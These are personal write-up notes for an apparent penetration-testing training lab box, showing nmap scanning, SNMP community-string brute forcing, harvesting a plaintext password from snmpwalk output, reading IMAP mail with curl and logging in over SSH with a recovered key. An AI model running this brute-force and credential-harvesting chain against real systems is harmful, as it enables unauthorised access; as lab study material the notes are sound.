22. Module boxes - Hard

┌──(root㉿kali)-[~/cpts/module-enum/med/nfs]
└─# nmap -F -T4 -sV 10.129.213.251
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-17 14:28 EDT
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 14:28 (0:00:03 remaining)
Nmap scan report for 10.129.213.251
Host is up (0.046s latency).
Not shown: 95 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd (Ubuntu)
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp open  ssl/pop3 Dovecot pop3d
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

quick nmap scan

going to try and use credentials from previous boxes here

that didn't work

the correct thing to do here was to actually enumerate (both tcp and UDP) and find that SNMP is currently being used on the server.

from here, we can bruteforce community strings and find it is using backup

┌──(root㉿kali)-[~/cpts/module-enum/hard]
└─# onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt 10.129.213.251
Scanning 1 hosts, 3219 communities
10.129.213.251 [backup] Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64

┌──(root㉿kali)-[~/cpts/module-enum/hard]
└─# pkill snmpwalk

┌──(root㉿kali)-[~/cpts/module-enum/hard]
└─# snmpwalk -v2c -c backup 10.129.213.251
iso.3.6.1.2.1.1.1.0 = STRING: "Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64"

```bash

we find some interesting stuff here: 

iso.3.6.1.2.1.25.1.7.1.2.1.2.6.66.65.67.75.85.80 = STRING: "/opt/tom-recovery.sh" iso.3.6.1.2.1.25.1.7.1.2.1.3.6.66.65.67.75.85.80 = STRING: "tom NMds732Js2761" iso.3.6.1.2.1.25.1.7.1.2.1.4.6.66.65.67.75.85.80 = "" iso.3.6.1.2.1.25.1.7.1.2.1.5.6.66.65.67.75.85.80 = INTEGER: 5 iso.3.6.1.2.1.25.1.7.1.2.1.6.6.66.65.67.75.85.80 = INTEGER: 1 iso.3.6.1.2.1.25.1.7.1.2.1.7.6.66.65.67.75.85.80 = INTEGER: 1 iso.3.6.1.2.1.25.1.7.1.2.1.20.6.66.65.67.75.85.80 = INTEGER: 4 iso.3.6.1.2.1.25.1.7.1.2.1.21.6.66.65.67.75.85.80 = INTEGER: 1 iso.3.6.1.2.1.25.1.7.1.3.1.1.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:" iso.3.6.1.2.1.25.1.7.1.3.1.2.6.66.65.67.75.85.80 = STRING: "chpasswd: (user tom) pam_chauthtok() failed, error:


### imap interaction, with the help of chatgpt

┌──(root㉿kali)-[~/cpts/module-enum/hard] └─# curl -k 'imaps://10.129.213.251/Inbox' --user tom:'NMds732Js2761' -X 'Select Inbox'

┌──(root㉿kali)-[~/cpts/module-enum/hard] └─# curl -k 'imaps://10.129.213.251/Inbox' --user tom:'NMds732Js2761' -X 'Fetch 1 body[text]'

┌──(root㉿kali)-[~/cpts/module-enum/hard] └─# curl -k 'imaps://10.129.213.251/Inbox' --user tom:'NMds732Js2761' -X 'Fetch 1 body[]'

┌──(root㉿kali)-[~/cpts/module-enum/hard] └─# curl -k 'imaps://10.129.213.251/Inbox' --user tom:'NMds732Js2761' -X 'Fetch 1 body[]' -v


![](/img/Pasted image 20240717141127.png)

we fix output : 

┌──(root㉿kali)-[~/cpts/module-enum/hard] └─# cat key | cut -c 3- > key2

since the mail is from tech, (rcpt is to bob?) and recipient is tom lets try those usernames to authenticate to ssh using those names 

![](/img/Pasted image 20240717141451.png)

that pretty much worked instantaneously

big lesson here: don't be a fucking idiot and reuse passwords. same lesson as the medium box